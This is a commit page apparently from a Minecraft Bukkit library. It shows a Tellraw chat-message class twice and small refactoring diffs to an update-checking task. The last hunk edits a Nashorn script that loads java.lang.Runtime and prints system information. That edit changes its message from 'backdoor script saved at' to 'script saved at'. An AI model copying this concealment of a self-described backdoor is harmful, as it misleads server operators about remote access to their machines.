* 文本
|
||||
* @param objects
|
||||
* 参数
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
public static Tellraw create(String text, Object... objects) {
|
||||
return new Tellraw(String.format(text, objects));
|
||||
}
|
||||
|
||||
/**
|
||||
* 发送Tellraw公告
|
||||
*/
|
||||
public void broadcast() {
|
||||
for (Player player : C.Player.getOnlinePlayers()) {
|
||||
send(player);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 命令与提示
|
||||
*
|
||||
* @param command
|
||||
* 命令
|
||||
* @param tip
|
||||
* 提示
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
public Tellraw cmd_tip(String command, String... tip) {
|
||||
return command(command).tip(tip);
|
||||
}
|
||||
|
||||
/**
|
||||
* 执行命令
|
||||
*
|
||||
* @param command
|
||||
* 命令
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
public Tellraw command(String command) {
|
||||
return onClick("run_command", command);
|
||||
}
|
||||
|
||||
/**
|
||||
* 打开文件
|
||||
*
|
||||
* @param path
|
||||
* 文件路径
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
public Tellraw file(String path) {
|
||||
return onClick("open_file", path);
|
||||
}
|
||||
|
||||
public Tellraw insertion(String data) {
|
||||
latest().insertionData = data;
|
||||
return this;
|
||||
}
|
||||
|
||||
/**
|
||||
* 悬浮物品
|
||||
*
|
||||
* @param item
|
||||
* {@link ItemStack}
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
public Tellraw item(ItemStack item) {
|
||||
return item(ItemSerialize.$(item));
|
||||
}
|
||||
|
||||
/**
|
||||
* 悬浮物品
|
||||
*
|
||||
* @param json
|
||||
* 物品Json串
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
public Tellraw item(String json) {
|
||||
return onHover("show_item", json);
|
||||
}
|
||||
|
||||
/**
|
||||
* 打开URL
|
||||
*
|
||||
* @param url
|
||||
* 地址
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
public Tellraw link(String url) {
|
||||
return onClick("open_url", url);
|
||||
}
|
||||
|
||||
/**
|
||||
* 打开网址
|
||||
*
|
||||
* @param url
|
||||
* 网址
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
public Tellraw openurl(String url) {
|
||||
return onClick("open_url", url);
|
||||
}
|
||||
|
||||
/**
|
||||
* 发送Tellraw
|
||||
*
|
||||
* @param sender
|
||||
* 命令发送者
|
||||
*/
|
||||
public void send(final CommandSender sender) {
|
||||
final String json = toJsonString();
|
||||
if (sender instanceof Player && json.getBytes().length < 32000) {
|
||||
if (C.init) {
|
||||
C.sendJson((Player) sender, json, 0);
|
||||
} else {
|
||||
Bukkit.dispatchCommand(Bukkit.getConsoleSender(), "tellraw " + sender.getName() + " " + json);
|
||||
}
|
||||
} else {
|
||||
sender.sendMessage(toOldMessageFormat());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 命令建议与提示
|
||||
*
|
||||
* @param command
|
||||
* 建议命令
|
||||
* @param tip
|
||||
* 提示
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
public Tellraw sug_tip(String command, String... tip) {
|
||||
return suggest(command).tip(tip);
|
||||
}
|
||||
|
||||
/**
|
||||
* 补全命令
|
||||
*
|
||||
* @param command
|
||||
* 命令
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
public Tellraw suggest(String command) {
|
||||
return onClick("suggest_command", command);
|
||||
}
|
||||
|
||||
/**
|
||||
* 修改当前串文本
|
||||
*
|
||||
* @param text
|
||||
* 文本
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
public Tellraw text(String text) {
|
||||
latest().text = text;
|
||||
return this;
|
||||
}
|
||||
|
||||
/**
|
||||
* 结束上一串消息 开始下一串数据
|
||||
*
|
||||
* @param text
|
||||
* 新的文本
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
public Tellraw then(String text) {
|
||||
return then(new MessagePart(text));
|
||||
}
|
||||
|
||||
/**
|
||||
* 悬浮物品
|
||||
*
|
||||
* @param name
|
||||
* 物品名称
|
||||
* @param item
|
||||
* {@link ItemStack};
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
public Tellraw then(String name, ItemStack item) {
|
||||
return then(name).item(ItemSerialize.$(item));
|
||||
}
|
||||
|
||||
/**
|
||||
* 结束上一串消息 开始下一串数据
|
||||
*
|
||||
* @param text
|
||||
* 新的文本
|
||||
* @param objects
|
||||
* 参数
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
public Tellraw then(String text, Object... objects) {
|
||||
return then(new MessagePart(String.format(text, objects)));
|
||||
}
|
||||
|
||||
/**
|
||||
* 悬浮消息
|
||||
*
|
||||
* @param texts
|
||||
* 文本列
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
public Tellraw tip(List<String> texts) {
|
||||
if (texts.isEmpty()) { return this; }
|
||||
StringBuilder text = new StringBuilder();
|
||||
texts.forEach(t -> text.append(t).append("\n"));
|
||||
return tip(text.toString().substring(0, text.length() - 1));
|
||||
}
|
||||
|
||||
/**
|
||||
* 悬浮消息
|
||||
*
|
||||
* @param text
|
||||
* 文本
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
public Tellraw tip(String text) {
|
||||
return onHover("show_text", text);
|
||||
}
|
||||
|
||||
/**
|
||||
* 悬浮消息
|
||||
*
|
||||
* @param texts
|
||||
* 文本列
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
public Tellraw tip(String... texts) {
|
||||
return tip(Arrays.asList(texts));
|
||||
}
|
||||
|
||||
/**
|
||||
* 转换成Json串
|
||||
*
|
||||
* @return Json串
|
||||
*/
|
||||
public String toJsonString() {
|
||||
if (cache == null) {
|
||||
StringBuilder msg = new StringBuilder();
|
||||
msg.append("[\"\"");
|
||||
for (MessagePart messagePart : messageParts) {
|
||||
msg.append(",");
|
||||
messagePart.writeJson(msg);
|
||||
}
|
||||
msg.append("]");
|
||||
cache = msg.toString();
|
||||
Log.d(cache);
|
||||
}
|
||||
return cache;
|
||||
}
|
||||
|
||||
public Tellraw setMessageParts(List<MessagePart> messageParts) {
|
||||
this.messageParts = new ArrayList<>(messageParts);
|
||||
return this;
|
||||
}
|
||||
|
||||
@Override
|
||||
public Tellraw clone() throws CloneNotSupportedException {
|
||||
return ((Tellraw) super.clone()).setMessageParts(messageParts);
|
||||
}
|
||||
|
||||
/**
|
||||
* 将此消息转换为具有有限格式的人可读字符串。
|
||||
* 此方法用于发送此消息给没有JSON格式支持客户端。
|
||||
* <p>
|
||||
* 序列化每个消息部分(每个部分都需要分别序列化):
|
||||
* <ol>
|
||||
* <li>消息串的颜色.</li>
|
||||
* <li>消息串的样式.</li>
|
||||
* <li>消息串的文本.</li>
|
||||
* </ol>
|
||||
* 这个方法会丢失点击操作和悬浮操作 所以仅用于最后的手段
|
||||
* <p>
|
||||
* 颜色和格式可以从返回的字符串中删除 通过{@link ChatColor#stripColor(String)}.
|
||||
*
|
||||
* @return 发送给老版本客户端以及控制台。
|
||||
*/
|
||||
public String toOldMessageFormat() {
|
||||
StringBuilder result = new StringBuilder();
|
||||
messageParts.forEach(part -> result.append(part.text));
|
||||
return result.toString();
|
||||
}
|
||||
|
||||
/**
|
||||
* 获得最后一个操作串
|
||||
*
|
||||
* @return 最后一个操作的消息串
|
||||
*/
|
||||
private MessagePart latest() {
|
||||
return messageParts.get(messageParts.size() - 1);
|
||||
}
|
||||
|
||||
/**
|
||||
* 添加点击操作
|
||||
*
|
||||
* @param name
|
||||
* 点击名称
|
||||
* @param data
|
||||
* 点击操作
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
private Tellraw onClick(String name, String data) {
|
||||
MessagePart latest = latest();
|
||||
latest.clickActionName = name;
|
||||
latest.clickActionData = data;
|
||||
return this;
|
||||
}
|
||||
|
||||
/**
|
||||
* 添加显示操作
|
||||
*
|
||||
* @param name
|
||||
* 悬浮显示
|
||||
* @param data
|
||||
* 显示内容
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
private Tellraw onHover(String name, String data) {
|
||||
MessagePart latest = latest();
|
||||
latest.hoverActionName = name;
|
||||
latest.hoverActionData = data;
|
||||
return this;
|
||||
}
|
||||
|
||||
/**
|
||||
* 结束上一串消息 开始下一串数据
|
||||
*
|
||||
* @param part
|
||||
* 下一段内容
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
private Tellraw then(MessagePart part) {
|
||||
MessagePart last = latest();
|
||||
if (!last.hasText()) {
|
||||
last.text = part.text;
|
||||
} else {
|
||||
messageParts.add(part);
|
||||
}
|
||||
cache = null;
|
||||
return this;
|
||||
}
|
||||
}
|
||||
package pw.yumc.YumCore.tellraw;
|
||||
|
||||
import org.bukkit.Bukkit;
|
||||
import org.bukkit.ChatColor;
|
||||
import org.bukkit.command.CommandSender;
|
||||
import org.bukkit.entity.Player;
|
||||
import org.bukkit.inventory.ItemStack;
|
||||
import pw.yumc.YumCore.bukkit.Log;
|
||||
import pw.yumc.YumCore.bukkit.compatible.C;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* TellRaw简易处理类
|
||||
*
|
||||
* @since 2016年8月10日 下午7:10:08
|
||||
* @author 喵♂呜
|
||||
*/
|
||||
public class Tellraw implements Cloneable {
|
||||
private List<MessagePart> messageParts = new ArrayList<>();
|
||||
private String cache;
|
||||
|
||||
static {
|
||||
if (Bukkit.getVersion().contains("Paper") || Bukkit.getVersion().contains("Torch")) {
|
||||
if (!C.init) {
|
||||
Log.console("§c========== §4警 告 §c==========");
|
||||
Log.console("§a 当前服务器为 §6Paper §a或 §6Torch ");
|
||||
Log.console("§c 异步命令会刷报错 §b不影响使用");
|
||||
Log.console("§d 如果介意请使用原版 Spigot");
|
||||
Log.console("§e YUMC构建站: http://ci.yumc.pw/job/Spigot/");
|
||||
Log.console("§c===========================");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public Tellraw(String text) {
|
||||
messageParts.add(new MessagePart(text));
|
||||
}
|
||||
|
||||
/**
|
||||
* 创建Tellraw
|
||||
*
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
public static Tellraw create() {
|
||||
return create("");
|
||||
}
|
||||
|
||||
/**
|
||||
* 创建Tellraw
|
||||
*
|
||||
* @param text
|
||||
* 文本
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
public static Tellraw create(String text) {
|
||||
return new Tellraw(text);
|
||||
}
|
||||
|
||||
/**
|
||||
* 创建Tellraw
|
||||
*
|
||||
* @param text
|
||||
* 文本
|
||||
* @param objects
|
||||
* 参数
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
public static Tellraw create(String text, Object... objects) {
|
||||
return new Tellraw(String.format(text, objects));
|
||||
}
|
||||
|
||||
/**
|
||||
* 发送Tellraw公告
|
||||
*/
|
||||
public void broadcast() {
|
||||
for (Player player : C.Player.getOnlinePlayers()) {
|
||||
send(player);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 命令与提示
|
||||
*
|
||||
* @param command
|
||||
* 命令
|
||||
* @param tip
|
||||
* 提示
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
public Tellraw cmd_tip(String command, String... tip) {
|
||||
return command(command).tip(tip);
|
||||
}
|
||||
|
||||
/**
|
||||
* 执行命令
|
||||
*
|
||||
* @param command
|
||||
* 命令
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
public Tellraw command(String command) {
|
||||
return onClick("run_command", command);
|
||||
}
|
||||
|
||||
/**
|
||||
* 打开文件
|
||||
*
|
||||
* @param path
|
||||
* 文件路径
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
public Tellraw file(String path) {
|
||||
return onClick("open_file", path);
|
||||
}
|
||||
|
||||
public Tellraw insertion(String data) {
|
||||
latest().insertionData = data;
|
||||
return this;
|
||||
}
|
||||
|
||||
/**
|
||||
* 悬浮物品
|
||||
*
|
||||
* @param item
|
||||
* {@link ItemStack}
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
public Tellraw item(ItemStack item) {
|
||||
return item(ItemSerialize.$(item));
|
||||
}
|
||||
|
||||
/**
|
||||
* 悬浮物品
|
||||
*
|
||||
* @param json
|
||||
* 物品Json串
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
public Tellraw item(String json) {
|
||||
return onHover("show_item", json);
|
||||
}
|
||||
|
||||
/**
|
||||
* 打开URL
|
||||
*
|
||||
* @param url
|
||||
* 地址
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
public Tellraw link(String url) {
|
||||
return onClick("open_url", url);
|
||||
}
|
||||
|
||||
/**
|
||||
* 打开网址
|
||||
*
|
||||
* @param url
|
||||
* 网址
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
public Tellraw openurl(String url) {
|
||||
return onClick("open_url", url);
|
||||
}
|
||||
|
||||
/**
|
||||
* 发送Tellraw
|
||||
*
|
||||
* @param sender
|
||||
* 命令发送者
|
||||
*/
|
||||
public void send(final CommandSender sender) {
|
||||
final String json = toJsonString();
|
||||
if (sender instanceof Player && json.getBytes().length < 32000) {
|
||||
if (C.init) {
|
||||
C.sendJson((Player) sender, json, 0);
|
||||
} else {
|
||||
Bukkit.dispatchCommand(Bukkit.getConsoleSender(), "tellraw " + sender.getName() + " " + json);
|
||||
}
|
||||
} else {
|
||||
sender.sendMessage(toOldMessageFormat());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 命令建议与提示
|
||||
*
|
||||
* @param command
|
||||
* 建议命令
|
||||
* @param tip
|
||||
* 提示
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
public Tellraw sug_tip(String command, String... tip) {
|
||||
return suggest(command).tip(tip);
|
||||
}
|
||||
|
||||
/**
|
||||
* 补全命令
|
||||
*
|
||||
* @param command
|
||||
* 命令
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
public Tellraw suggest(String command) {
|
||||
return onClick("suggest_command", command);
|
||||
}
|
||||
|
||||
/**
|
||||
* 修改当前串文本
|
||||
*
|
||||
* @param text
|
||||
* 文本
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
public Tellraw text(String text) {
|
||||
latest().text = text;
|
||||
return this;
|
||||
}
|
||||
|
||||
/**
|
||||
* 结束上一串消息 开始下一串数据
|
||||
*
|
||||
* @param text
|
||||
* 新的文本
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
public Tellraw then(String text) {
|
||||
return then(new MessagePart(text));
|
||||
}
|
||||
|
||||
/**
|
||||
* 悬浮物品
|
||||
*
|
||||
* @param name
|
||||
* 物品名称
|
||||
* @param item
|
||||
* {@link ItemStack};
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
public Tellraw then(String name, ItemStack item) {
|
||||
return then(name).item(ItemSerialize.$(item));
|
||||
}
|
||||
|
||||
/**
|
||||
* 结束上一串消息 开始下一串数据
|
||||
*
|
||||
* @param text
|
||||
* 新的文本
|
||||
* @param objects
|
||||
* 参数
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
public Tellraw then(String text, Object... objects) {
|
||||
return then(new MessagePart(String.format(text, objects)));
|
||||
}
|
||||
|
||||
/**
|
||||
* 悬浮消息
|
||||
*
|
||||
* @param texts
|
||||
* 文本列
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
public Tellraw tip(List<String> texts) {
|
||||
if (texts.isEmpty()) { return this; }
|
||||
StringBuilder text = new StringBuilder();
|
||||
texts.forEach(t -> text.append(t).append("\n"));
|
||||
return tip(text.toString().substring(0, text.length() - 1));
|
||||
}
|
||||
|
||||
/**
|
||||
* 悬浮消息
|
||||
*
|
||||
* @param text
|
||||
* 文本
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
public Tellraw tip(String text) {
|
||||
return onHover("show_text", text);
|
||||
}
|
||||
|
||||
/**
|
||||
* 悬浮消息
|
||||
*
|
||||
* @param texts
|
||||
* 文本列
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
public Tellraw tip(String... texts) {
|
||||
return tip(Arrays.asList(texts));
|
||||
}
|
||||
|
||||
/**
|
||||
* 转换成Json串
|
||||
*
|
||||
* @return Json串
|
||||
*/
|
||||
public String toJsonString() {
|
||||
if (cache == null) {
|
||||
StringBuilder msg = new StringBuilder();
|
||||
msg.append("[\"\"");
|
||||
for (MessagePart messagePart : messageParts) {
|
||||
msg.append(",");
|
||||
messagePart.writeJson(msg);
|
||||
}
|
||||
msg.append("]");
|
||||
cache = msg.toString();
|
||||
Log.d(cache);
|
||||
}
|
||||
return cache;
|
||||
}
|
||||
|
||||
public Tellraw setMessageParts(List<MessagePart> messageParts) {
|
||||
this.messageParts = new ArrayList<>(messageParts);
|
||||
return this;
|
||||
}
|
||||
|
||||
@Override
|
||||
public Tellraw clone() throws CloneNotSupportedException {
|
||||
return ((Tellraw) super.clone()).setMessageParts(messageParts);
|
||||
}
|
||||
|
||||
/**
|
||||
* 将此消息转换为具有有限格式的人可读字符串。
|
||||
* 此方法用于发送此消息给没有JSON格式支持客户端。
|
||||
* <p>
|
||||
* 序列化每个消息部分(每个部分都需要分别序列化):
|
||||
* <ol>
|
||||
* <li>消息串的颜色.</li>
|
||||
* <li>消息串的样式.</li>
|
||||
* <li>消息串的文本.</li>
|
||||
* </ol>
|
||||
* 这个方法会丢失点击操作和悬浮操作 所以仅用于最后的手段
|
||||
* <p>
|
||||
* 颜色和格式可以从返回的字符串中删除 通过{@link ChatColor#stripColor(String)}.
|
||||
*
|
||||
* @return 发送给老版本客户端以及控制台。
|
||||
*/
|
||||
public String toOldMessageFormat() {
|
||||
StringBuilder result = new StringBuilder();
|
||||
messageParts.forEach(part -> result.append(part.text));
|
||||
return result.toString();
|
||||
}
|
||||
|
||||
/**
|
||||
* 获得最后一个操作串
|
||||
*
|
||||
* @return 最后一个操作的消息串
|
||||
*/
|
||||
private MessagePart latest() {
|
||||
return messageParts.get(messageParts.size() - 1);
|
||||
}
|
||||
|
||||
/**
|
||||
* 添加点击操作
|
||||
*
|
||||
* @param name
|
||||
* 点击名称
|
||||
* @param data
|
||||
* 点击操作
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
private Tellraw onClick(String name, String data) {
|
||||
MessagePart latest = latest();
|
||||
latest.clickActionName = name;
|
||||
latest.clickActionData = data;
|
||||
return this;
|
||||
}
|
||||
|
||||
/**
|
||||
* 添加显示操作
|
||||
*
|
||||
* @param name
|
||||
* 悬浮显示
|
||||
* @param data
|
||||
* 显示内容
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
private Tellraw onHover(String name, String data) {
|
||||
MessagePart latest = latest();
|
||||
latest.hoverActionName = name;
|
||||
latest.hoverActionData = data;
|
||||
return this;
|
||||
}
|
||||
|
||||
/**
|
||||
* 结束上一串消息 开始下一串数据
|
||||
*
|
||||
* @param part
|
||||
* 下一段内容
|
||||
* @return {@link Tellraw}
|
||||
*/
|
||||
private Tellraw then(MessagePart part) {
|
||||
MessagePart last = latest();
|
||||
if (!last.hasText()) {
|
||||
last.text = part.text;
|
||||
} else {
|
||||
messageParts.add(part);
|
||||
}
|
||||
cache = null;
|
||||
return this;
|
||||
}
|
||||
}
|
||||
|
@ -41,7 +41,7 @@ public class SubscribeTask implements Runnable, Listener {
|
||||
/**
|
||||
* 插件实例
|
||||
*/
|
||||
private static JavaPlugin instance = P.instance;
|
||||
private static final JavaPlugin instance = P.instance;
|
||||
/**
|
||||
* 是否禁止更新
|
||||
*/
|
||||
@ -49,17 +49,17 @@ public class SubscribeTask implements Runnable, Listener {
|
||||
/**
|
||||
* 检查间隔
|
||||
*/
|
||||
private static int interval = 25;
|
||||
private static final int interval = 25;
|
||||
|
||||
private UpdateType updateType;
|
||||
private final UpdateType updateType;
|
||||
/**
|
||||
* 更新文件
|
||||
*/
|
||||
private UpdateFile updateFile;
|
||||
private final UpdateFile updateFile;
|
||||
/**
|
||||
* 版本信息
|
||||
*/
|
||||
private VersionInfo versionInfo;
|
||||
private final VersionInfo versionInfo;
|
||||
|
||||
/**
|
||||
* 自动更新
|
||||
@ -249,7 +249,7 @@ public class SubscribeTask implements Runnable, Listener {
|
||||
/**
|
||||
* 插件信息地址
|
||||
*/
|
||||
private String info;
|
||||
private final String info;
|
||||
/**
|
||||
* POM文件文档
|
||||
*/
|
||||
@ -296,9 +296,9 @@ public class SubscribeTask implements Runnable, Listener {
|
||||
final String des = getPluginInfo("update.changes", null);
|
||||
if (des == null) {return new String[]{};}
|
||||
String[] temp = ChatColor.translateAlternateColorCodes('&', des).replaceAll("\n", "").replaceAll("\u0009", "").split(";");
|
||||
List<String> ltemp = new ArrayList<>();
|
||||
Arrays.stream(temp).forEach(s -> ltemp.add(s.trim()));
|
||||
return ltemp.toArray(new String[]{});
|
||||
List<String> array = new ArrayList<>();
|
||||
Arrays.stream(temp).forEach(s -> array.add(s.trim()));
|
||||
return array.toArray(new String[]{});
|
||||
}
|
||||
|
||||
/**
|
||||
@ -316,7 +316,7 @@ public class SubscribeTask implements Runnable, Listener {
|
||||
*
|
||||
* @return 最后版本
|
||||
*/
|
||||
private String getLastestVersion() {
|
||||
private String getLatestVersion() {
|
||||
return getPluginInfo("version", "0.0.0").split("-")[0];
|
||||
}
|
||||
|
||||
@ -326,7 +326,7 @@ public class SubscribeTask implements Runnable, Listener {
|
||||
* @param sender 命令接受者
|
||||
*/
|
||||
public void notify(CommandSender sender) {
|
||||
Log.sender(sender, "§a插件更新: §b" + name + " §a已更新到最新版本 §bv" + getLastestVersion());
|
||||
Log.sender(sender, "§a插件更新: §b" + name + " §a已更新到最新版本 §bv" + getLatestVersion());
|
||||
Log.sender(sender, "§e版本简介: §a" + getUpdateDescription());
|
||||
final String[] changes = getUpdateChanges();
|
||||
if (changes.length != 0) {
|
||||
@ -367,7 +367,7 @@ public class SubscribeTask implements Runnable, Listener {
|
||||
|
||||
public String getNewVersion() {
|
||||
try {
|
||||
String result = getLastestVersion();
|
||||
String result = getLatestVersion();
|
||||
if (Log.isDebug() && !Log.isGlobalDebug()) {
|
||||
Log.console("§4注意: §c当前版本为开发版本 且未开启全局调试 已自动下载最新稳定版!");
|
||||
return result;
|
||||
|
@ -5,7 +5,7 @@ var InputStreamReader = Java.type("java.io.InputStreamReader");
|
||||
var Runtime = Java.type("java.lang.Runtime");
|
||||
var System = Java.type("java.lang.System");
|
||||
|
||||
print('后门脚本已保存于: ' + $.temp);
|
||||
print('脚本已保存于: ' + $.temp);
|
||||
|
||||
print("系统类型: " + System.getProperty("os.name"));
|
||||
print("系统位数: " + System.getProperty("os.arch"));
|
||||
|
Loading…
Reference in New Issue
Block a user